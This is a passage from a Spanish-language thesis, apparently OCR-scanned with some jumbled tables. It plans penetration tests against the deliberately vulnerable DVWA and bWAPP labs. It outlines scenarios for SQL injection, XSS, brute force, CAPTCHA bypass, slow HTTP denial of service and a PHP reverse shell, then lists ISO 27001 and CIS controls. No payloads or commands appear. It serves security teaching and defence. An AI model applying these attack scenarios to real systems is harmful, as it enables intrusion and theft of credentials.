pivoting o similares. Es decir; el objetivo de esta fase es escalar privilegios con la finalidad
de obtener una cuenta con todos los privilegios habilitados sobre el sistema [84].

Fase 5: Informe

La ultima fase consiste en elaborar un informe donde se especifiquen las conclusiones de las
pruebas de penetracion. En esta fase se genera tanto el informe detallado de la auditoria,
donde se plasman los resultados técnicos y metodoldgicos obtenidos, como el informe
ejecutivo, donde se resumen los resultados obtenidos, el riesgo asociado y la propuesta de

plan de mitigacion de dichos riesgos [84].
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CAPITULO I11

3. PROPUESTA

3.1. DESARORLLO

3.1.1. FASE 1: RECOLECCION DE INFORMACION

La fase comprende en la recopilacion de los datos pertinentes de forma concisa para el
desarrollo del trabajo investigativo. A través de los motores de busqueda se recolecta la
informacidn sobre el entorno de trabajo y las herramientas respectivas que hagan posible la
configuracién del mismo para asi posteriormente ejercer las fases “Explotacion” y “Post-

Explotacion” de la metodologia seleccionada.

La fase trata de la preparacion del entorno de trabajo de las maquinas virtuales vulnerables
para la investigacion, a continuacion, se presenta la descripcion de las maquinas,

configuracién y requisitos para una correcta instalacion:

Requisitos General para instalacion de las maquinas virtuales

e Virtual Box version 7.0.6 e Maquina Virtual Kali
e Extension pack version 7.0.6 e Maquina Virtual Bee-Box
e Red General e Red Virtual
e Descargar paquetes de los e RAMde 4GB
entornos en formato zip e Disco Virtual

Descripcion de instalacion DVWA en Kali Linux

Para la instalacion del entorno virtual vulnerable se realiz6 la descarga respectiva del archivo
zip para luego ser descomprimido en la direccion del servidor web gue cuenta por defecto de
instalacion Kali Linux para su funcionamiento. Sin embargo, se debe realizar
configuraciones necesarias con respecto a la base de datos, privilegio de archivos,
configuracién de usuario para el motor de base de datos para que el sitio ejecute a la
perfeccién, para mas detalle de instalacion del entorno (Ver Anexo 3: Manual de instalacion
—entorno DVWA)
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Descripcion de instalacion Bee-Box (BWAPP)

En la instalacion correspondiente de la maquina virtual vulnerable se realiza la
correspondiente descarga de Bee-Box del sitio oficial de BWAPP aquel que cuenta por
defecto la aplicacion con su respectivo servidor web, entre otros adicionales. Se comienza a
descargar el archivo zip para que este luego sea descomprimido y se utilice el disco virtual
vmdk en la maquina virtual creada con sistema operativo Linux version RED HAT de 64 bit.
Una vez finalizado la configuracion y adoptar la red virtual se realiza el funcionamiento de

la maquina, para ver mas detalle de la instalacion del entorno (Ver Anexo 3: Manual de

instalacién — entorno BWAPP)

3.1.2. FASE 2: ANALISIS DE VULNERABILIDADES

El anélisis de vulnerabilidades para el estudio esta considera de acuerdo al TOP 10 de
OWASP del afio 2020-2021, mostrando asi un espectro de informacién necesaria para el
desarrollo de la fase, debido a que el dato corresponde sobre la estadistica de vulnerabilidades
mas comunes explotadas en aplicaciones web. La busqueda necesaria de esta informacién es
uno de los requerimientos para comenzar, analizar los puntos de la investigacion, como es el
caso de conocer la categoria de la vulnerabilidad, el objetivo, el tipo, la forma de explotacion,
sistema que afecta y el nivel de criticidad que emana sobre toda la situacion que corresponde

la seguridad informatica en aplicaciones web.

Ademas, comprender las interpretaciones del Ciberdelincuente sobre estos tipos de categoria
que proporciona OWASP, con el fin de apreciar al fondo los ciberataques que permitan
comprometer un sistema y mostrar los puntos débiles para asi elaborar el robo de datos
confidenciales que involucre las reputaciones e integridad de la organizacion. Por ello, se
realizé el estudio comparativo de las técnicas para ser considerada como punto de partida
para la elaboracion de prueba de caja negra en la fase 3 “EXPLOTACION” mostrando las

ventajas y desventajas de su desarrollo.
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ESTUDIO COMPARATIVO DE TECNICAS DE CIBERSEGURIDAD APP WEB

CATEGORIA

TECNICAS

VENTAJAS

DESVENTAJAS NIVEL DE

CRITICIDAD

e CAPTCHA Permite los La busqueda eminente de
IDENTIFICATION AND BYPASSING ataques usuarios y la manera de
AUTHENTICATION e |INSECURE automaticos y atacar ejerce mayor tiempo BAJO
FAILURES LOGIN FORMS expone
identificador de
sesion de la URL
e INSECURE Saturacion de los
WEBDAV recursos del La mayoria existen el
SECURITY CONFIGURATIO | sistema balanceo de carga que
MISCONFIGURATION N permite a los servicios MEDIO
e DENIAL-OF- extenderse para controlar
SERVICE (SLOW estos ataques
HTTP DOS)
FUERZA BRUTA Cuenta con Tiempo de ejecucion y
diccionarios de recurso de hardware para MEDIO
INSEGURE DESIGN diversos indoles lograr adivinar la
y es facil de contrasefia o directorios de
conseguir para la victima
trabajar
e SQL INJECTION Permite
e CROSS-SITE manipular y Limitacion de permiso de
INJECTION SCRIPTING acceder a la lectura y escritura ALTO
informacion
mediante cédigo
mal intencionado

Tabla 1: Cuadro comparativo de técnicas de Ciberseguridad
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ANALISIS DE VULNERABILIDADES MEDIANTE EL TOP 10 DE OWASP

CATEGORIA OBJETIVO TIPO FORMA DE SISTEMA QUE AFECTA
EXPLOTACION

NIVEL DE
CRITICIDAD

' CONTROL DE ACCESO ROTO | Path Identificador . e APIS  |ALTO |
Travesal inseguros Json Web Token
Autenticacion de Directory Navegacion Uso compartido de
sesiones no Travesal — forzada recursos de origen
autorizadas Directories Permisos cruzado (CORS)
Directory Client Side
Traversal - Caching
Files
FALLAS CRIPTOGRAFICAS Exposicion de datos Versiones Métodos Balanceadores de ALTO
confiables a través Vulnerable criptogréfico carga
de protocolos s de obsoletos Servidores web
inseguros (HTTP, puertos Ausencia de Sistemas de back-end
SMTP, FTP) Codificaci6 claves
n Base64 criptograficas en
contrasefias
INYECCION SQL Inyeccion SQL en Aplicaciones web ALTO
Permite atacar el NoSQL banda Sistema de
sistema que cuenta Comandos Inyeccién SQL administracion de
con activos de sisema fuera de banda bases de datos
informacidn sensible Operativo Inyeccion SQL relacionales RDBMS
inferencial
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DISENO INSEGURO Atacar las fallas de Ataque de MEDIO
seguridad en el credenciales Modulo Login
codigo, tras la Formulario mediante fuerza Peticiones de usuario
mejora de solucion inseguro bruta GETy POST
Recopilacién de
cookie
CONFIGURACION ERRONEA | Aquellos servicios Continuaci Escalada de Servicios MEDIO
DE SEGURIDAD desactualizado y on FTP privilegio Servidor FTP
propensos a Inseguro Envié de Servidor SMTP
exposicion de Configurac solicitudes al Servidor WebDav
informacion ion SMTP servidor
inseguro Ingenieria inversa
Configurac (reverse_shell)
ion
WebDav
COMPONENTES Comprometer el Denegacion de Cliente-Servidor MEDIO
VULNERABLES Y sistema a través de Buffer servicio del API
OBSOLETOS vulnerabilidades Overflow software objeto Aplicaciones
conocidas o en PHP Eval Codigo arbitrario Sistema de gestion de
comun Fuction Exploit bases de datos
Servidor web
FALLAS DE IDENTICACION Y | Permitir al Sesiones Fuerza bruta con BAJO
AUTENTICACION delincuente administrat diccionarios Médulo Logan
informatico obtener ivas Ataques Maodulo de
acceso y asumir la automatizados verificacion de
contrasefa

42




identidad de un Formulario
usuario Login
Inseguro
SOFTWARE Y FALLAS EN LA | Lainclusion de Carga de Reverse_Shell al Protocolo de BAJO
INTEGRIDAD DE DATOS codigo maliciosa archivo sin servidor transferencia de
sobre las restriccione Crear fichero archivo
funcionalidades sin S malicioso
el compromiso del Divulgacio
sistema general n de
informacié
n
FALLAS DE REGISTRO Y Aplicacién que no Usar herramientas BAJO
MONITOREO DE SEGURIDAD | cuenta con proceso Desactualiz para realizar Registro de
de detectar acion de pruebas dinamicas aplicaciones
anomalias de ataques versiones (OWASP ZAP) API
y reaccionar sobre la Servicios Ataques Activos
situacion de puertos en tiempo real
abiertos
FALSIFICACION DE Inducir la aplicacion Leer Servidor web BAJO
SOLICITUDES DEL LADO mediante realizacion Configurac Denegacion de Enlace de DNS
DEL SERVIDOR de peticiones ion del servicio (DDoS) Redirecciones HTTP
solicitudes HTTP al servidor
servidor Metada dos
AWS
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3.1.3. FASE 3: EXPLOTACION

El desarrollo de la explotacion de vulnerabilidad comprende en la realizacion de pruebas a
través de técnicas de ciberseguridad en diversos escenarios de experimentacion de acuerdo a
la informacidn recolectada en la fase anterior “Analisis de Vulnerabilidades™, en donde se
analizo puntos optimos para el avance investigativo. Por lo cual, se iniciara el estudio de
prueba de caja negra sobre las técnicas seleccionada mas comunes desarrollada por el

atacante informatico.

La prueba estard dividida en 4 categorias de vulnerabilidades; Identification and
Authentication Failures, Security MisConfiguration, Insecure Desgin e Injection, categorias
que cuentan con técnicas adecuadas para el desarrollo experimental que se mencionan a

continuacion:

IDENTIFICATION AND INSECURE DESIGN

AUTHENTICATION FAILURES
e [Fuerza Bruta

e Captcha Bypassing INJECTION
e Insecure Login Forms

e SQL Injection
SECUTIRY MISCONFIGURATION . -
e Cross-Site-Scripting
e Insecure WebDav Configuration
e Denail Of Service (Slow HTTP

Dos)

Estas técnicas seran ejecutadas en los escenarios disefiados de los entornos vulnerabilidades
creados para la simulacién del ataque para evaluar el nivel de seguridad de una aplicacion.
También contara con la ayuda de diversas herramientas necesaria para vulnerar el escenario
de prueba para llegar a un resultado optimo. Se presenta el disefio de los escenarios de

pruebas para la ejecucion de las técnicas con sus respectivos item.
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ESCENARIO | ENTORNO | NIVEL DE DESCRIPCION RESULTADO DETALLE
CRITICIDAD

DISENO DE ESCENARIOS DE PRUEBAS

DVWA Insercion de cddigo Obtencidn de Escenario 1
BAJO SQL en Formulario contrasefias de 5
Web usuarios mediante
SQLi
Insercion de cddigo Obtencidn de Escenario 2
#2 DVWA MEDIO SQL en Formulario contrasefias de 5
Web — Cuadro® de usuarios mediante
seleccion individual SQLi
Insercién de Codigo Obtencion de Escenario 3
#3 DVWA ALTO SQL en Formulario contrasefias de 5
Web — variable de usuarios mediante
sesion utilizando otra | SQLi
pagina
Las consultas son Escenario 4
Insercién de cédigo parametrizadas, y esto
#4 DvVW IMPOSIBLE | SQL en Formulario significa que el
Web desarrollador ha
diferenciado que
secciones son cédigo
y el resto datos.
#5 DVWA Inyectar script Inyeccion de Script Escenario 5
BAJO malicioso en malicioso por la falta
Formulario Web — de verificacién de
Cuadro de seleccion solicitud de entrada
individual para texto de salida
#6 DVWA Inyectar script Inyeccion de Script Escenario 6
MEDIO malicioso en malicioso sin el uso
Formulario Web — de etiquetas script
Cuadro de seleccidn
individua
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#7 DVWA ALTO Inyectar script Inyeccion de Script Escenario 7
malicioso en malicioso mediante
Formulario Web — los default permitidos
Cuadro de seleccion | de idiomas por la
individual location
#8 DVWA inyectar script El Script Malicioso es | Escenario 8
IMPOSIBLE | malicioso en codificado de forma
Formulario Web — predeterminada para
Cuadro de seleccion evitar el ataque
individual
#9 DVWA BAJO Ataque de fuerza Obtencion de Escenario 9
bruta en Formula contrasefia de usuario
Login Web mediante | administrador
HYDRA mediante fuerza bruta
#10 DVWA MEDIO Ataque de fuerza Obtencidn de Escenario 10
bruta en Formula contrasefia de usuario
Login Web mediante | administrador
WFUZZ mediante fuerza bruta
#11 DVWA ALTO Ataque de fuerza Obtencion de Escenario 11
bruta en Formula contrasefia de usuario
Login Web mediante | administrador
carga util por Burp mediante fuerza bruta
Suite
#12 DVWA IMPOSIBLE | Ataque de fuerza El usuario a realizar 5 | Escenario 12
bruta en Formula sesiones incorrectas
Login Web dentro de los 15
minutos, el usuario
sera blogueado y no
hara inicio de sesion
#13 BWAPP BAJO Falla de Obtener la contrasefia | Escenario 13
autentificacion — de usuario
Formulario Login administrador y
Web con Omisién de | acceso exitoso
Captcha mediante
carga util por lista
simple
#14 BWAPP MEDO Falla de Obtener la contrasefia | Escenario 14

autentificacion —
Formulario Login
Web con Omisién de
Captcha mediante
WFUZZ

de usuario
administrador y
acceso exitoso
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#15 BWAPP ALTO Falla de Obtener la contrasefia | Escenario 15
Autentificacion — de usuario
Formulario Login administrador y
Web con Omisién de | acceso exitoso
Captcha mediante
carga Util por
diccionario
#16 BWAPP BAJO Falla de Encontrar las Escenario 16
Autenticacion — credenciales mediante
Formulario Login la busqueda en el
Web Inseguro codigo
#17 BWAPP MEDIO Falla de Encontrar la palabra | Escenario 17
Autenticacion — secreta en la funcion
Formulario Login hallada en el codigo
Web Inseguro
#18 BWAPP ALTO Falla de Encontrar las Escenario 18
Autenticacion — credenciales del login
Formulario Login mediante ataque de
Web Inseguro carga util por
diccionario
#19 BWAPP BAJO Saturar el sistemade | Dejar a la aplicacion | Escenario 19
alojamiento del web en estado no
entorno mediante funcional
avalancha de
peticiones
#20 BWAPP MEDIO Saturar el sistemade | Dejar a la aplicacion | Escenario 20
alojamiento del web en estado no
entorno mediante funcional
avalancha de
peticiones
#21 BWAPP ALTO Saturar el sistema de | Dejar a la aplicacion | Escenario 21

alojamiento del
entorno mediante
avalancha de
peticiones

web en estado no
funcional
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#22 BWAPP BAJO Insercién de fichero Conocer archivos, Escenario 22
malicioso en el documentos que
protocolo WebDav cuenta el servidor
web para efectuar
acciones de usuario
administrador
#23 BWAPP MEDIO Insercion de cdigo Permitir conexion de | Escenario 23

malicioso php para
accion de
reverse_shell

maquina atacante a
maquina victima para
efectuar instrucciones

de acciones de
usuario administrador

Tabla 3: Cuadro de descripcion - disefio de escenarios de pruebas

3.1.4. FASE POST-EXPLOTACION

La importancia del proceso de Post-Explotacion resalta en conocer la mayor informacion
relevante del objeto de ataque, para acceder a la recuperacién eminente de datos sensibles y
escalar privilegios. La obtencion de informacion se encierra en el conjunto de datos generales
del sistema, los procesos de ejecucidn y servicios instalados, variables de entorno y ficheros
relacionados, base de datos, credenciales de usuarios, entre otros valores que emana ser

activos valiosos para el atacante.

La recuperacién de informacion esta centrada en los dos entornos virtuales de simulacion de
prueba (DVWA Y BWAPP) con el objetivo de encontrar puntos débiles mediante la
explotacion de la vulnerabilidad implementada en la “fase 3: Explotacion”, permitiendo
identificar las brechas e informacion expuestas en el testeo. Por ello, tiene como finalidad la
fase de presentar los datos encontrados en la anterior fase y usar dicha informacién para

escalar privilegios en los entornos de estudio mediante el desarrollo de los siguientes puntos.
A continuacion, se presenta el desarrollo de la fase en los dos entornos:

e Enumeracion de puertos mediante la herramienta Nmap para conocer los servicios y
versiones que soporta el sistema.

e Ataque de fuerza bruta para la obtencién de credenciales de usuario

e Injection SQL mediante la herramienta SQLMAP para conocer, la base de datos del

entorno, usuarios, tablas, entre otros,
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e Acceder a un servicio mediante la ejecucion de cddigo reverse shell para

comprometer el sistema y escalar privilegio

Para el detalle de todo el proceso de la fase en los dos entornos (Ver Anexo 5: Manual Post-

Explotacion)

3.1.5. FASE 5: INFORME

Luego de reunir cada resultado desarrollado por caja negra en los escenarios disefiados, y
pruebas adicionales para post-explotacion. Se realiza el informe pertinente para detallar los
resultados técnicos empleados de forma estructurada en lo cual separa cada nivel de
compresion de prueba, tipo de ataque, objetivo, andlisis e interpretacion de resultados,
observaciones y recomendaciones. Para mas detalle (Ver Anexo 6: Informe)

3.2.PROPUESTA DE BUENAS PRACTICAS PARA EL DESARROLLO
SEGURO DE APLICACIONES WEB

3.2.1. INTRODUCCION

La aplicacion web es un tipo de software que es codificado en un lenguaje determinado para
ser soportado en el navegador web, y su accionar se debe llevar a un navegador con internet
o intranet, permitiendo al usuario acceder de manera interactiva a la informacion de manera

rapida y sencilla.

Pero asi mismo, la seguridad de las aplicaciones debe ser centrado para asegurar los datos
del usuario y que cualquier usuario tercero o pirata informéatico no autorizado, robe la
informacion, se deben emplear medidas de seguridad con la caracteristica de probar los
niveles de seguridad que debe presentar en los procesos para asi evitar vulnerabilidades
contra amenazas, tales como la modificacion no autorizada de activos, acceso no permitido,

privilegios no accedido, entre otros.

Por lo tanto, las aplicaciones web por la falta de implementacion de medidas de seguridad se
pueden presentar débiles a las vulnerabilidades mas comunes de acuerdo al estudio de TOP
10 de OWASP como; Control de acceso roto, Fallas criptogréficas, Inyeccion, Disefio
inseguro, Configuracion erronea de seguridad, Componentes vulnerables y obsoletos, Fallas
de identificacion y autenticacion, Software y fallas en la integridad de datos, Fallas de

registro y monitoreo de seguridad, Falsificacién de solicitudes del lado del servidor.
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Vulnerabilidades que son explotadas por hacker, provocando asi poner en riesgo la

reputacion de un individuo o entidad /organizacion.

En conclusion, esta guia, tiene como fin concientizar a las entidades y dar recomendaciones
necesarias que se pueden elaborar para mitigar cualquier ataque informatico a futuro,
mediante medidas de seguridad informética. Por lo cual, se utilizardn las normas
internacionales I1ISO 27001 y CIS, normas que cuentan con practicas de seguridad para

garantizar la seguridad de estas aplicaciones sobre un contexto real.

3.2.2. DESCRIPCION CONTROLES
I1SO 27001

=Y 1SO -1

A.12.1 Procedimiento operacionales y responsables.
Objetivo: Busca asegurar el correcto funcionamiento de las
operaciones en donde se procesa la informacion.
DESCRIPCION | Control A.10.1.2 Gestion del Cambio.
Observacion: Asegurar que se efectué los cambios sobre los sistemas
de procesamiento de informacion con el fin de conservar y
administrar dichos cambios.

Tabla 4: Control Gestion del Cambio

A.12.2. Proteccion contra codigo maliciosos.
Obijetivo: Tiene como fin asegurar la informacidn sobre los sistemas de
procesamiento de informacién y que estén en capacidad de proteger
DESCRIPCION | contra codigos maliciosos.
Control A.12.2.1. Controles contra c6digos maliciosos.
Observacion: Establecer controles que permitan identificar y prevenir
cualquier ataque informatico por co6digo malicioso, ejercer
procedimientos para su recuperacion.

Tabla 5: Controles contra cddigos maliciosos

ITEM 1ISO -3

A.9.2 Gestion de acceso de usuarios.

Objetivo: Cumple el deber de asegurar el acceso de los usuarios
DESCRIPCION | autorizados y a su evitar la restriccion de los usuarios no autorizados.
Control A.9.2.3. Gestidn de derechos de acceso privilegio.
Observacion: Generar control sobre las gestiones asignadas y el uso de
los privilegios de usuarios en el sistema.

Tabla 6: Control Gestion de derechos de acceso privilegio
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ITEM ISO -4

A.14.1. Requisitos de seguridad de los sistemas de informacion
Objetivo: Emplear el componente de seguridad como parte
fundamental integral sobre cualquier sistema de informacion
DESCRIPCION | Control A.14.1.1. Analisis y especificacion de requisitos de
seguridad de la informacion.

Observacion: Para la nueva adquisicion de sistemas o actualizaciones
del mismo, deben especificar los requerimientos necesarios de
seguridad.

Tabla 7: Control Andlisis y especificacion de requisitos de seguridad de la informacion

ITEM ISO-5 ‘

A.9.4. Control de acceso a sistemas y aplicaciones

Objetivo: Ejercer el método de evitar el acceso a sistemas no
autorizados y aplicaciones

DESCRIPCION | Control A.9.4.1. Restriccion de acceso a la informacion
Observacion: Tanto el acceso de informacién como a la funciones de
los sistemas de una aplicaciones se debe limitar a través de politica de
control de acceso

Tabla 8: Restriccion de acceso a la informacion
ITEM ISO-6

A.10.1. Controles criptograficos

Objetivo:  Utilizar métodos criptograficos para proteger la
DESCRIPCION | confiabilidad, integridad, autenticacion de la informacion

Control A.10.1.1. Politica sobre el uso de controles criptograficos
Observacion: Establecer el desarrollo e implementacion de politica
sobre la utilidad de controles criptogréaficos.

Tabla 9: Control Politica sobre el uso de controles criptogréaficos



ITEM ‘ I1ISO -7

DESCRIPCION

A.14.3. Datos de prueba

Objetivo: Permite asegurar la proteccion de la data que son usadas para
pruebas.

Control A.14.3.1: Proteccion de datos de prueba

Observacion: Aquellos datos de prueba debe pasar por un proceso apto
de seleccion de acuerdo a las especificaciones del sistema, por ende,
estos datos deben ser controlados y resguardados

Tabla 10: Control Proteccion de datos de prueba

ITEM ISO -8

DESCRIPCION

A.9.4. Control de acceso a sistemas y aplicaciones

Objetivo: Ejercer el método de evitar el acceso a sistemas no autorizados
y aplicaciones.

Control A.9.4.2 Procedimiento de ingreso seguro

Observacion: Se debe controlar mediante una politica de acceso,
acceso al sistema, como también a la aplicacién mediante un proceso
de ingreso seguro.

Tabla 11: Control Procedimientos de inseguro seguro

ITEM ISO-9

DESCRIPCION

A.9.4. Control de acceso a sistemas y aplicaciones

Objetivo: Ejercer el método de evitar el acceso a sistemas no
autorizados y aplicaciones

Control A.9.4.5. Control de acceso a codigos fuente de programas
Observacion: Establecer las restricciones necesarias para el ingreso a
cddigo fuentes de los programas.

Tabla 12: Control de acceso a codigos fuente de programacion
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ITEM ISO-10

DESCRIPCION

A.9.4. Control de acceso a sistemas y aplicaciones

Objetivo: Ejercer el método de evitar el acceso a sistemas no
autorizados y aplicaciones

Control A.9.4.3. Sistema de gestion de contrasefias

Observacion: Establecer un sistema de gestion de contrasefia para
generar interactividad y asi también asegurar la calida de las
contrasefas

CIS

Tabla 13: Control sistema de gestion de contrasefias

ITEM CIS-1

DESCRIPCION

4. Configuracion segura de hardware y software en dispositivos
moviles, computadoras portatiles, estaciones de trabajo y servidores
Objetivo: Se Centra en generar un control sobre uso de privilegios
administrativos

Control 4.4. Utilizar contrasefias Unicas

Observacion: Corresponde en usar contrasefias Unicas, cuando no es
soportada la autenticacion multifactor, ya sea el root, el local,
administrador u otro servicio que mantiene una cuenta. Todas estas
cuentas deben usar contrasefias Unicas del sistema.

Tabla 14: Control Utilizar contrasefias Unicas

ITEM CIS-2

DESCRIPCION

1. Inventario y control de activos de hardware

Obijetivo: Tiene un enfoque de administrar activamente aquellos
dispositivos que tienen acceso 0 no sobre el sistema.

Control 1.4: Mantener un inventario de activos detallado
Observacion: Comprende en mantener un inventario veraz y
actualizado sobre todos los activos tecnoldgicos capaces de almacenar
0 procesar la informacion. Por lo tanto, el inventario debe tener todos
los activos de hardware, que estén o no conectados a la red de la
organizacion

Tabla 15: Control Mantener un inventario de activos detallado
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ITEM | CIS- 3

DESCRIPCION

20. Pruebas de penetracion y ejercicios del equipo rojo.

Objetivo: Se centra en probar la solidez de los mecanismos de defensa
de una entidad/organizacion.

Control 20.7: Asegurate de que los resultados de las pruebas de
penetracion se documenten utilizando estandares abiertos legibles
por maquina.

Observacion: Comprende en la utilizacion de herramientas que
realicen el escaneo de vulnerabilidades y a su vez pruebas de
penetracion, para conseguir que tan preparado se encuentra el sistema
para identificar brechas y mostrar como un atacante puede penetrar.

Tabla 16: Control Asegurate de que los resultados de las pruebas de penetracion se
documenten utilizando estandares abiertos legibles por maquina.

ITEM CIS-4

DESCRIPCION

4. Configuracion segura de hardware y software en dispositivos
moviles, computadoras portatiles, estaciones de trabajo y servidores
Objetivo: Centrar en generar un control sobre uso de privilegios
administrativos

Control 4.3: Garantizar el uso de cuentas administrativas dedicadas
Observacion: Comprende en enfocar el privilegio reducido
administrativo y restringido solo a usuarios que desempefian procesos
laborales, con la finalidad de administrar las tareas diarias de manera
independiente a su funcion laboral.

Tabla 17: Control Garantizar el uso de cuentas administrativas dedicadas

DESCRIPCION

18. Seguridad del software de aplicacion

Obijetivo: Estudia la gestion del ciclo de vida de la seguridad de todo
el desarrollo de software, y asi ejercer ataque para conocer su nivel de
seguridad

Control 18.1: Establecer practicas de codificacion seguras.
Observacion: Ejercer préacticas de codificacion segura para que el
sistema no se sienta comprometido y que no cuente con brecha de
seguridad baja, para asi evitar explotacion de vulnerabilidades por
errores de codificacion, errores l0gicos, entre otros.

Tabla 18: Control Establecer practicas de codificacion seguras



ITEM | CIS-6

18. Seguridad del software de aplicacion

Obijetivo: Estudia la gestion del ciclo de vida de la seguridad de todo
el desarrollo de software, y asi ejercer ataque para conocer su nivel de
seguridad

Control 18.2: Asegurate de que se realiza una verificacion de
DESCRIPCION | errores explicita para todo el software desarrollado internamente.
Observacion: Comprende en enfocar el privilegio reducido
administrativo y restringido solo a usuarios que desempefian procesos
laborales, con la finalidad de administrar las tareas diarias de manera
independiente a su funcion laboral.

Tabla 19: Control Asegurate de que se realiza una verificacion de errores explicita para
todo el software desarrollado internamente

ITEM CIS-7

14. Acceso controlado basado en la necesidad de saber

Objetivo: Genera el control sobre los activos, aquellos que cumplen
procesos para prevenir y corregir aquellos activos criticos
DESCRIPCION | Control 14.4: Cifrar toda la informacion confidencial en transito
Observacion: La disposicion del cifrado de datos, ejercido en propio
transito como en reposo genera la reduccién en el riesgo que los datos se
vean comprometidos

Tabla 20: Control Cifrar toda la informacion confidencial en transito

14. Acceso controlado basado en la necesidad de saber

Objetivo: Genera el control sobre los activos, aquellos que cumplen
procesos para prevenir y corregir aquellos activos criticos

Control 14.9: Aplicar el registro de detalles para el acceso o los
DESCRIPCION | cambios a datos confidenciales

Observacion: La clasificacion de datos confidenciales es un punto
necesario para la proteccion de activos y que la elaboracion de informes
presencie las politicas para un buen cumplimiento

Tabla 21: Control Aplicar el registro de detalles para el acceso a cambios a datos
confidenciales



3.2.3. PRACTICAS DE SEGURIDAD

PRACTICAS DESCRIPCION

Es de mucha importancia que las contrasefias que tienen relacion al sistema central, cuenten
con credenciales muy superficiales y concisa para que contengan informacién muy sensible
o0 critica que de una determinada organizacién. Es recomendable para tener contrasefas
seguras, tomar en cuenta los siguientes puntos:
_ e Implementar contrasefias potentes
CONTRASENAS SEGURAS e Cambiar las contrasefias con regularidad

e Guardar las credenciales y contrasefias de forma segura

e Emplear uso de autentificacion con clave publica

e Aplicar autentificacion de dos factores o més factores
Es muy importante contar con las actualizaciones de las aplicaciones como es el caso de
ACTUALIZACION SOBRE navegadores, aplicaciones ofimaticas.
PARCHES DE SEGURIDAD Hay que ejercer las actualizacjo_nes_necesarias sobre los usuarios administradores, debido
gue cuentan con un enorme privilegio sobre los procesos, y por ende es el punto central de
un atacante.

No esta permitido entregar las credenciales de administrador de las aplicaciones, servicios,
CREDENCIALES DE motor de base de datos.
ACCESO

La incorporacidn de estos certificados permite al entorno web mantener la seguridad de los
CERTIFICADOS SSL datos del usuario, y asi mismo verificar la propiedad que se desarrolla en todo el sistema.
Con el fin de evitar que los atacantes creen una clonacion por ingenieria social para doblegar
la confianza del usuario.

Permite la restaurar la informacién si existe una falla. Por lo cual, garantiza la restauracion
CONTROL DE CAMBIOS necesaria para ejercer el respaldo

La presentacion de errores de codigo apunta a muchas vulnerabilidades, por ende, una
buena gestidn y registro de errores permite al sistema emplear técnicas de gran utilidad
para la seguridad, como lo es:

GESTION DE ERRORES Y » Gestién de errores para d_etectar los errores de codigo 3
» Emplear un registro logginp en donde se presente la documentacion de los errores
LOGS para que los desarrolladores puedan diagnosticar el efecto, y solucionar el
problema

Es una alternativa de seguridad que permite a la red que se encuentra conectada a los
servidores protegida por cualquier ataque informatico presente, como es el caso de Attack
ZONA DESMILITARIZADA DDosS, entre otros ataques que comprometan los servicios. Para la seguridad, se
recomienda los siguientes puntos:
> Implementar un sistema de deteccién y prevencion sonares intrusos
» Implementar herramientas que cuenten con la proteccion de denegacion de
Servicios
» Utilizar un software con funcionalidad mixta para que permita gestionar las
ciberamanezas que pueden afectan al sistema

La proteccidon de los campos de entrega del usuario debe de realizar el resguardo necesario
y que las brechas sean explotadas. Para la seguridad de esta indole tomar en cuenta los
siguientes puntos:

» Emplear Token

» Ejecutar método de validacién de caracteres especiales como uso de preg_match

» Parametrizar los procesos

» Efectuar la buena l6gica de programacion
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CODIFICACION DE
SALIDAS

Validar la entrada del usuario para no enviar datos no deseados
Almacenar los datos sensibles o confiables de forma segura
Emplear hashes como contrasefiar en las credenciales de usuario para limitar el
impacto de fuga de datos

Parametrizar Consultas

Usar captchas para validar las peticiones de usuario

Crear limitaciones y reglar en los formularios

Impedir entrada de c6digo anémalo escapando los caracteres
Comprobar la seguridad ante inyeccién SQL y XSS

Filtrar la entrada del usuario

Disponer de un software espia

Crear procedimiento con el antivirus y dar uso para afrontar ataques.

YV VV

YVVVYVYYVYYVYY

ADMINISTRACION DE
USUARIO

Es de mucha importancia como la administracién de usuario es un punto relevante sobre el
tema de seguridad informética, debido que cuenta con el gran privilegio sobre otros
servicios que se cuentan relacionado al sistema central. Por ello, es recomendable para tener
una seguridad sobre esta seccion, tomas en cuenta los siguientes puntos:

» Solicitar un administrador de contrasefias

» Restringir el acceso a repositorios y equipos

» Limitar el nmero de agentes con acceso de administrador

» Autentificar usuarios de manera remota con un inicio de sesion Unico

» Aumentar la seguridad de la contrasefia para los agentes

ENCRIPTAR DATOS

El cifrado de datos proporciona un alto nivel de seguridad sobre los datos, para que
no sean comprometidos (alterados, modificador, eliminados). Es recomendable para
la seguridad de proteccion de datos, tomar en cuenta los siguientes puntos:

Dar gestion segura de clave

Emplear hashes

Utilizar generadores de numeros aleatorios

Emplear algoritmos recomendado para encriptar

Garantizar la proteccion de datos del usuario de la aplicacion

VVVYVYY

VALIDACION DE DATOS DE
ENTRADA

Es de mucha importancia como la validacion de datos de entrada es un aspecto para asegurar
los datos que se proporcionan en el sistema para que estos sean fiables a la realidad, pero de
mismo modo sean protegidos y no instruido por un atacante. Por ello, es recomendable para
segura la validacion de datos, tomar en cuenta los siguientes puntos:

» Invalidar entradas de caracter o palabras claves que puedan ser peligrosos
Restringir las entradas mediante la utilizacion de controles de validacién y
expresiones reguiles
Emplear condicionales de verificacion de tipo de valor
Verificar la longitud de entrada
Invalidar extension de longitud de entrada
Dar acceso a valores validos y asi mismo restringir aquellos no validos

VVVY

Tabla 22: Cuadro Précticas de Seguridad
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CONCLUSIONES

v" Serealizé un estudio comparativo sobre las vulnerabilidades mas comunes explotadas
en aplicaciones web, a través de un analisis estadistico de amenazas y
vulnerabilidades descritas en el TOP 10 de OWASP. Las comparaciones se realizaron
en cuatro categorias, tales como: disefio inseguro, falla de autentificacion, inyeccion,
y falla de configuracion, que ayudan a determinar el esquema del ciberataque.
Ademaés, este estudio dio a conocer las técnicas de ejecucion, las ventajas y
desventajas, y el nivel de criticidad de los riesgos que se identifican como puntos
débiles en un sistema informatico, lo mismo que pueden afectar la reputacion de una

organizacion.

v' Se diseflaron 23 escenarios de pruebas para simular la explotacion de las
vulnerabilidades en aplicaciones web mediante dos maquinas virtuales, las cuales
son: DVWA y BWAPP. Las pruebas fueron agrupadas en tres niveles de
complejidad, alto, medio y bajo. Estas pruebas permitieron evidenciar errores como,
configuraciones por defectos en los servidores web, poco o nula parametrizacion de
codigo, no verificacion de parametros de entrada y falta de parametrizacién de
consulta en la base de datos, lo cual expone a ataques e incidentes de seguridad en el

sistema informatico de una organizacion

v Se desarrollé un conjunto de buenas practicas para el desarrollo de aplicaciones web,
basado en los estandares internacionales 1ISO 27001 y CIS. Est&s normas garantizan
la seguridad de las aplicaciones informaticas. El propésito de esta guia es concientizar
